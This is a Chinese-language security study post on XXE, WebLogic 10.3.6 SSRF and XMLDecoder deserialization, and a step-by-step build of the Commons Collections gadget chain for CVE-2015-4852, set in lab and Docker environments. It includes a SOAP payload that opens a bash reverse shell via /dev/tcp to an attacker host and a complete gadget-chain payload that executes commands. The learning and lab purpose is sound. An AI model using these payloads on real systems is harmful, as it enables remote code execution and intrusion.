的时候,对恶意的外部实体进行解析导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos
攻击等危害然而在
libxml2.9.0
后,默认不解析外部实体,PHP
版本不影响XXE
利用回显
XXE
以
bwapp
的XXE
模块为例抓包得到存在
xml
,尝试修改数据发现服务器会解析
xml
内容那么构造
payload
即可注入1
2
3
<reset><login>&bee;</login><secret>Any bugs?</secret></reset>理论上说这能输出桌面的
flag
文件内容,但是笔者靶机这里出锅了复现失败,根据github
改xxe-2.php
的$xml
函数值也没有用无回显
XXE
大多数条件下,
XXE
并不会用于输出,所以要考虑将数据外带判断
对于正常可以联网的靶机,我们可以使用以下操作来判断其是否存在
XXE
,借用 dnslog1
2
3然后可以在网站中收到记录
读取文件
往往用
xml
来调用靶机以外的xml
文件来攻击,以此避免过滤
Weblogic
系列Weblogic
漏洞利用实践这里选用的是
Weblogic10.3.6
版本,这一版本漏洞最多,便于实验安装完成后可以在
Oracle\Middleware\user_projects\domains\base_domain
找到弱密码爆破
很简单的部分,过程略了,但要求控制台关闭了用户控制
SSRF(CVE-2014-4210)
在
ip:port/uddiexplorer
中,可以看到输入框,随便输点到burp
里面看更改发送包中的数据,可以发现返回也随之改变
尝试
ssrf
,让operator
访问攻击机端口,并开端口监听可以验证其确实存在
ssrf
漏洞了XML
反序列化原理:
Weblogic
的WLS Security
组件对外提供webservice
服务,其中使用了XMLDecoder
来解析用户传入的XML(SOAP协议)数据
,在解析的过程中出现反序列化漏洞,导致任意代码执行。出问题的包是
wls-wsat
、_async
演示
在
ip:port/wls-wsat/
下面的子目录,都是在wls-wsat.war
里面WEB-INF/web.xml
定义的servlet
1
2
3
4
5
6
7
8/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11这里以第一个为例
先将数据包改成可以提交
xml
的样子:- 改为
POST
类型 - 加上
Content-Type: text/xml
构造
payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>bash -i >& /dev/tcp/[ip]/[port] 0>&1</string></void>
</array>
<void method="start"></void>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>攻击机上监听对应端口即可
- 改为
脚本
在这里找到写好的脚本
weblogic
反序列化深入java
序列化(与反序列化)定义
把对象的状态信息转换为字节序列,便于存储或传输
字节序:多字节数据在内存或网络传输时各字节存储的顺序
用途
把对象字节序列永久保存到硬盘上,存放在文件里,便于恢复和保存用户会话
Sessions
便于传输
将内存中信息序列化后释放内存,减轻服务器压力,需要时再反序列化至内存中
应用场景
HTTP
实现多个平台间的通信和管理RMI
完全基于反序列化,java
开发分布式应用程序的API
,实现不同操作系统程序的方法调用,默认端口1099
JMX
可以在任何java
程序中使用标准的代理服务和管理实例
ObjectOutputStream
类的writeObject()
实现序列化ObjectInputStream
类的readObject()
实现反序列化样例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17public static void main(String args[]) throws Exception{
String obj="hello world!";
//序列化对象写入文件 object.db
FileOutputStream fos=new FileOutputStream("object.db");
ObjectOutputStream os=new ObjectOutputStream(fos);
os.writeObject(obj);
os.close();
//从object.db读取数据
FileInputStream fis=new FileInputStream("object.db");
ObjectInputStream ois=new ObjectInputStream(fis);
//反序列化恢复对象obj
String obj2=(String)ois.readObject();
ois.close();
}其序列化后文件特点是文件头
16
进制下为AC ED 00 05
;base64
为rO0AB
但这段代码在实际使用中是存在问题的,因为没有对用户输入进行过滤,在
FileInputStream
的反序列化过程中,通过构造恶意代码可以进行攻击Apache Commons Collections
其中有一个特殊接口类
Invoker Transformer
,其可以调用java
反射机制来调用任意函数反射机制特点
可以判断对象所属的类,知道类所有的方法和属性,能够调用任意方法和属性
weblogic
反序列化深入(二)视频讲的不是很清楚,我这里细化写了一下,也可以移步我的博客看看
JAVA
基础学个基础先
java
的面向对象编程或许可以类比为一个
struct
我们以一个手机为例,手机作为整体即是一个对象
1
public class phone{}
而手机所具有的特点即是其属性
1
2
3
4public class phone{
public String name;
public double weight;
}而为了使“手机”这个概念具象化,即由存于定义变为实际存在,我们需要构造器
1
2
3
4
5
6
7
8
9public class phone{
public String name;
public double weight;
public phone(){}//无参数构造器,系统会自动帮忙声明,所以这一行可以不写
public phone(String name,double weight){//有参数构造器,实例化对象时方便对其赋值
this.name=name;
this.weight=weight;
}
}再随意写入一个函数
1
2
3
4
5
6
7
8
9
10
11
12
13package test1;
public class phone{
public String name;
public double weight;
public phone(){}//无参数构造器,系统会自动帮忙声明,所以这一行可以不写
public phone(String name,double weight){//有参数构造器,实例化对象时方便对其赋值
this.name=name;
this.weight=weight;
}
public void start(){
System.*out*.println("Power on");
}
}如此就完成了一个对象的定义,现在需要创建该对象,或者说,实例化这个类
1
2
3
4
5public class test{
public static void main(String[] args){
phone p=new phone();//new一个名为p,类型为phone的对象
}
}java
反射机制正射
通常来说,我们在实例化一个类时,我们需要知道其类型
phone
,才能写出实例化代码1
phone p=phone();
反射
顾名思义,我们可以借助函数来得到对象
p
的类phone
,再用函数进一步操作类的私有属性获取类
.getclass()
如果上文中存在所需类的某个实例
p
,那么可以调用p.getClass()
来获取其的类.class
调用类的
class
属性可获取该类对应的对象,即使用phone.class
.forname()
使用了
class
类中的静态方法1
2
3
4phone p=new phone();
Class class1=p.getClass();
Class class2=phone.class;
Class class3=Class.forName("phone");//所填的是类所在包名.类名,但这里没有放到包里,所以只写了类名类的函数
获取想要操作的类的
Class
对象class1
后,通过Class
类的函数可以查看该类的信息并进行操作实例化对象
Object
获取1
2
3
4Object p1=class1.newInstance();
//或者
Constuctor cons=class1.getConstructor();
Object p2=cons.newInstancec();两者区别在于,后者可以用来调用含参数的构造器。
newInstance
函数需要类中存在无参构造器,当不存在时,只能用后者1
2Constructor cons=class1.getConstructor(String.class,double.class);
Object p2=cons.newInstance(value1,value2);//value1,2即是赋给p2的两个属性的值类的构造器
Constructor
获取1
2
3
4
5
6
7
8//获取public构造器
Constructor cons=class1.getConstructor();//当然,这里也可以获取含参数构造器
//获取全部public构造器
Constructor[] cons=class1.getConstructors();//构造器可能不止一个,所以用数组
//获取public与private类型的构造器
Constructor cons=class1.getDeclaredConstructor();
//获取全部构造器
Constructor[] cons=class1.getDeclaredConstructors();获取属性
field
1
2
3
4
5//同上,获取的是public/全部属性
Field f=class1.getField("name");
Field f2=class1.getDeclaredField("name");
Field[] f3=class1.getFields();
Field[] f4=class1.geDeclaredFields();获取方法
Methods
1
2
3//继续同上
Method m=class1.getMethod("setName", String.class); //两个参数,后面要传入的是方法形参的类型的原型,无参函数就不用填
//剩下的略
Runtime
类java
中的一个系统类,通常写作java.lang.Runtime
,其封装了应用程序运行时的环境,但我们只需要关注其中最重要的那个:1
exec(String cmd); //在单独的进程中执行指定的命令或程序。
这个明显可以用来命令执行,利用反射弹个
calc
:1
2
3
4
5
6Class p = Class.forName("java.lang.Runtime");//定义一个类与系统类 runtime 相同的类p,那么对于runtime可执行的函数,p也可执行。相当于复制一个 java.lang.runtime 为 p
Constructor constructor = p.getDeclaredConstructor(); // 调用系统类里定义的一个私有构造器
constructor.setAccessible(true); // 修改构造器作用域,使外面可以访问到
Method m = p.getMethod("exec", String.class); // 获取exec方法
Object o = constructor.newInstance(); //弄一个与系统类相同的对象出来,方便后面
m.invoke(o, "calc"); // 调用exec方法,执行calc命令
基于反射的
invoke
方法对于一般的对象
A
,我们常使用A.getA()
来调用其getA()
方法而
invoke
采取一种新的调用方式:构建一个
Method
对象methodA
,给其所需要的对象和参数以用其代替你要使用的方法也就是说,在未知条件下,可以调用替代任何方法并根据条件决定调用对象和方法
注解与元注解
注解用于对程序代码说明,但不同于注释的是,其能向编译器提供关于程序代码的附加信息,可在编译运行时被读取或使用,以及可以影响编译器的行为。
其可以用于类,方法,字段等元素上,例:
1
2
3
4
public void oldMethod{
...
}标记了一个过时的方法,在接下来的代码中,若有使用
oldMethod
的代码,编译器会给出警告1
2
3
4
public void someMethod() {
...
}使编译器不给出警告信息
元注解则是注解的注解,以马上要用到的
@Target
为例,其用于指定注解可以应用的元素类型(方法/类/等)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public MyAnnotation{
//关于类型为注解,名称为 MyAnnotation 的注解的定义,其被Target限制为只能注解 Method
}
public MyClassAnnotation{
//类型为注解,名称为 MyClassAnnotation 的注解,其被 Target 限制为只能注解 class
}
public class myclass{
public void MyMethod{
...
}
}语法糖
当注解中只有一个成员变量,并且该成员名称为
value
时,可以用value
语法糖简化注解使用:1
2
3
4
5
6
7public MyAnnotation{
string value();
}
public class MyClass{
...
}自定义注解
MyAnnotation
中只有value
一个成员变量,使用语法糖能直接在使用注解提供值,即使用该注解时将hello
作为值传给value
成员变量再看一个跟这个题目有关的:
1
2
3
4
5
6
7
8
public Target {
ElementType[] value() default {};
}
public MyAnnotation {
...
}第一个
Target
规定了第二个Target
能注解的变量类型,且其存在名为value
的数组中第二段语句
Target
的参数即在value
中,规定了MyAnnotation
只能注解Element.TYPE
和Element.FIELD
CVE-2015-4852
漏洞原理浅析环境搭建
docker
笔者使用的是
Ubutun+docker
。在vulhub/weblogic
下新建一个名为CVE-2015-4852
的文件夹方便操作,然后写入以下配置文件docker-compose.yml
1
2
3
4
5
6
7version: '2'
services:
weblogic:
build: .
ports:
- "7001:7001"
- "8453:8453"DockerFile
1
2
3
4
5
6
7
8from vulhub/weblogic:10.3.6.0-2017
ENV debugFlag true
EXPOSE 7001
EXPOSE 8453
CMD ["/bin/sh","-c","while true;do echo 1;sleep 10;done"]随后更新
docker-compose up -d
,用docker exec -it [docker_id] bash
进入docker
目录修改~/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh
在其前方加入
1
2debugFlag="true"
export debugFlag随后重启容器,并把容器目录下的
root
复制出来1
docker cp [docker_id]:/root [your_path]
后传到你的主机上
idea
用
idea
打开/root/Oracle/Middleware/wlserver_10.3
然后去
Project structure-Libraries
添加/server/modules
文件夹以及/wlserver_10.3/server/lib/weblogic.jar
以进行反编译再去
Project structure-Project
jdk
选择刚刚拷出来的jdk
然后去右上角
add Configuration
加入remote
服务器,如果刚刚配置的时候没有改调试端口的话这里是8453
最后去
/wlserver_10.3/server/lib/weblogic.jar!/weblogic/wsee/jaxws/WLSServletAdapter.class
的第129
行下断点,运行debug
访问网站
http://127.0.0.1:7001/wls-wsat/CoordinatorPortType
看看是否被断下
利用链分析
前言
反序列化攻击的实现,往往需要将
payload
构造为多层的exp
进入服务端的readobject
函数,其会反序列化恢复构造的exp
来生成exp'
,在接下来的流程中存在可以执行exp'
类的方法,不断处理得到最终的payload
,最后其进入可执行任意命令的函数也就是说,我们需要构造以下:
- 朴素的
payload
,即需要服务器执行的代码 - 一条反序列化链,沿着这条链可以逐渐解码包裹起来的
payload
readObject
重写点,即服务器端存在的,与漏洞链相连接的且可以从外部访问到的一个方法
- 朴素的
反序列化链构造
将其细分为 $3$ 段,从 $1-3$ 的顺序构造,服务端从 $3-1$ 进行执行。
段 $1$
我们最终的目的是命令执行,即调用
exec()
函数这里主要使用的是
InvokerTransformer
类及其transform
方法注意到
transform
方法会用反射机制调用输入的input
的method
函数,而Invokertransform
类的三个参数全部可由输入控制所以只要控制
transform
方法的input
变量是一个Runtime
的Class
实例,就可以成功调用即执行了Runtime.getRuntime().exec("calc");
写一个实验如下:
1
2
3
4
5
6
7
8import org.apache.commons.collections4.functors.InvokerTransformer;
public class InvokerTransformerTest{
public static void main(String[] args){
InvokerTransformer InvokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")});//变量赋值
InvokerTransformer.transform(Runtime.getRuntime());//得到runtime类
}
}对于新学
java
的这里有一点要注意的,如果是 ${vscode}$ 的话,这个外部库去apache下载后,用extentsion pack for java
,然后在JAVA PROJECT
下面的Referenced Libraries
添加下载的库。注意引入库的版本要和下载的对应但不幸的是,
CC
里面并不能直接使用InvokerTransformer.transform
,也就是说得不到RunTime
类,那么现在需要找到利用链的上一级,其需要调用该方法这里就需要
ChainedTransformer
CC4
(上) 可能和网上常见的CC3
(下) 不太一样,但理解成正常for
循环和用auto
的循环就行这个类以一个
Transformer
数组为变量,其transform
方法是对每个Transformer
调用其自己的transform
方法但注意最开始传入的参数
object
会被其迭代,这对链的构造十分有利现在我们解决的
transform
方法的问题,getRunTime
可以由RunTime
类获取。回顾我们需要构造的链Runtime.getRuntime().exec("calc");
。只要获取到RunTime
类就可以完成段 $1$ 的构造但是
RunTime
对象不能像普通对象一样直接声明,那么就需要性质很好的ConstantTransformer
其
transform
方法返回值都是iConstant
。那么只要让一个
RunTime
类为iConstant
即可得到RunTime
类,再结合刚刚的ChainedTransformer
就可以获取到链的第一截RunTime
,然后去InvokerTransformer
的transform
方法调用getMethod()
得到第二截getRunTime()
,最后再用其调用exec()
即能得到整条链由于
ChainedTransformer
参数object
的优秀迭代机制,只需要让另外几个以此放在Transform[]
类数组里面即可1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.Transformer;
public class test_part1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers_exec=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chain=new ChainedTransformer(transformers_exec);
chain.transform(1);
}
}如此就成功构造出了链的第一部分
Runtime.getRuntime.exec("calc")
回顾一下调用栈
1
2
3
4
5
6
7
8
9
10
11ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()那么我们现在只需要找到一处调用了
ConstantTransformer.transform
的地方即可。由于其所需参数任意,所以这里分为第一段段 $2$
一般来说是找不到严格相同的
ConstantTransformer.transform
,但我们退而求其次,找xxx.transform
方法,且xxx
可被赋值为ConstantTransformer
类型对象根据资料,这里有两条路可以走:
TransformedMap
与LazyMap
,但顾名思义,我懒,所以没有LazyMap
的笔记其中这三个函数调用了其
transform
方法,也就是构造valueTransformer
或keyTransformer
为刚刚构造的ChainedTransformer
类型对象,然后触发这三个函数来触发trnsform
方法即可。需要分两步:先赋值,再调用但实际上只能让
valueTransformer
为反序列化构造链,因为只有其在后面能被调用到,但这是过会要考虑的问题但这几个方法都是
protected
,也就是无法从外部访问。那么考虑找public
类型入手:transformedMap
类型:transformingMap
方法则是可以调用构造函数赋值内部参数如果是
CC3
版本的话,这里是decorate
方法可以发现构造方法
transformingMap
需要满足的条件是第一个参数是Map
类型,那么随便建一个map
就行,如此就赋值成功了1
2
3HashMap tmpMap=new HashMap();
tmpMap.put("nothinghere","qwq");
Map ChainMap=TransformedMap.transformingMap(tmpMap,null,chain);//chain即是上面构造的 ChainedTransformer中途可以验证一下
找到一个性质很好的
put
方法,其可以从外部访问且能调用上面三个隐私函数之一的transformKey
。由
transformKey
可知,只要参数KeyTransformer
不为空即可调用transform
方法,那么随便传几个进去试试:1
ChainMap.put("justfor","test");
成功调出计算器,也就是赋值操作是没问题的,
那么接下来考虑如何让系统自动触发
Map
类型中valueTransformer
参数transform
方法(即刚刚构造的链条所在位置),即调用valueTransformer.transform()
,显然这里的参数无关紧要所以最后要落脚到一个读入数据后主动触发的类,即
ReadObject
类先搜索找到调用函数
checkSetValue
:点进去看下谁能调用它:
到其父类
AbstractInputCheckedMapDecorator
中也就是现在需要一个
Map.entry
类且需要调用Map.entry.setValue()
参数依旧不重要还是经典的赋值+调用
先看赋值,要将原来的
TransformedMap
类转为Map.Entry
类而
TransformedMap
也是Map
,Map.entry
是一个键对值<key,value>
的集合也就是从
Map
中提取键对值的方法用在TransformedMap
上,并将其赋值给Map.entry
即可,顺便手动调用一下SetValue
方法试一下1
2Map.Entry entry=(Map.Entry) ChainMap.entrySet().iterator().next();
entry.setValue("qwq");在这里分个段清晰一些,回顾一下反序列化链;
1
2
3
4
5
6
7
8
9
10
11
12
13Map.entry.setValue()
TransformedMap.put()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()段 $3$
在开始前,确保版本为
jdk1.6
因为这里使用
AnnotationInvocationHandler
类来解决调用函数的问题,其在jdk1.8
被重写了它在
JRE System Library-rt.jar-sun.reflect.annotation.AnnotationInvocationHandler
里观察到
var5
存在setvalue()
方法的调用,恰巧的是,其构造过程与上面的entry
一模一样:1
2Map.Entry entry=(Map.Entry) ChainMap.entrySet().iterator().next();
var5=this.memberValue.entrySet().iterator().next();那么
payload
转而写成:1
2
3
4
5//Map.Entry entry=(Map.Entry) ChainMap.entrySet().iterator().next(); 已经不需要这个了
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);//反射机制调用AnnotationInvocationHandler类的构造函数
ctor.setAccessible(true);//取消构造函数修饰符限制
Object instance = ctor.newInstance(Target.class, ChainMap);//获取AnnotationInvocationHandler类实例而前面定义的
memberValues
恰好是map
类型,将其赋值成transformedMap
即可满足var5
即是entry
但想进到判断里还需要满足几个条件:
transformedMap
非空:var4.hasNext()
检查了memberValues
的EntrySet
的迭代器var7!=null
:var7
的生成过程比较复杂,上面已经标出来了这里需要注意的是
var2
的生成过程AnnotationType.getInstance(this.type)
,this.type
即是上面传进去的Target.class
而
var7
非空是很难构造的。而这个涉及到java
的注解与value
语法糖,最上面有写,跳到上面看一下再回来1
var2 = AnnotationType.getInstance(this.type);
getInstance
得到我们传进去的注解的基本信息,这里就以传进去了Target.class
为例:1
Map var3 = var2.memberTypes();
memberType
得到注解中的成员变量,其返回值为Map
类型,键为成员变量名称,值为成员变量类型这个时候选择传入
this.type
为Target.class
的原因就能看出来了:看java.lang.annotation.Target
的定义:1
2
3
4
5
6//会被写入javadoc文档
//生命周期时运行时
//标明注解可以用于注解声明(应用于另一个注解上)
public Target {
ElementType[] value();//value语法糖
}也就是说,对于
Target
注解,其成员变量名称总为value
那么
var3
即为键值对<value,[ElementType]>
1
Class var7 = (Class)var3.get(var6);
这时候再来看
var7
的生成式,只需要满足var6
中有Map
的键为value
,值任意即可对
var6
的来源回溯上去,即是让tmpmap
中存有键为value
即可就是将
1
2HashMap tmpMap=new HashMap();
tmpMap.put("nothinghere","qwq");改为
1
2HashMap tmpMap=new HashMap();
tmpMap.put("value","qwq");至此利用链完毕,回顾一下整条链子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14AnnotationInvocationHandler.readObject()
Map.entry.setValue()
TransformedMap.put()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()payload
为1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35import org.apache.commons.collections4.*;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections4.Transformer;
public class test_part1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
// chain.transform(1);
HashMap tmpMap=new HashMap();
tmpMap.put("value","qwq");
Map ChainMap=TransformedMap.transformingMap(tmpMap,null,chain);
// ChainMap.put("justfor","test");
// Map.Entry entry=(Map.Entry) ChainMap.entrySet().iterator().next();
// entry.setValue("qwq");
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, ChainMap);
}
}
上传
可以加上这段代码在本地模拟上传试一下:
1
2
3
4
5
6
7
8
9
10
11//payload序列化写入文件,模拟网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(instance);
//服务端读取文件,反序列化,模拟网络传输
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
//服务端反序列化
fin.readObject();T3协议分析
用
python
模拟握手包的发包,wireshark
抓一下,追踪TCP
流1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16import socket
def T3Test(ip,port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" #请求包的头
sock.sendall(handshake.encode())
while True:
data = sock.recv(1024)
print(data.decode())
if __name__ == "__main__":
ip = "192.168.19.131"
port = 7001
T3Test(ip,port)再看一下网上的资料,握手包结束后是序列化的
java
数据流前面提到过
aced 0005
是序列化的标志,那么为了执行payload
,抓下协议包,将数据改为构造的payload
即可
CVE-2016-0638
浅析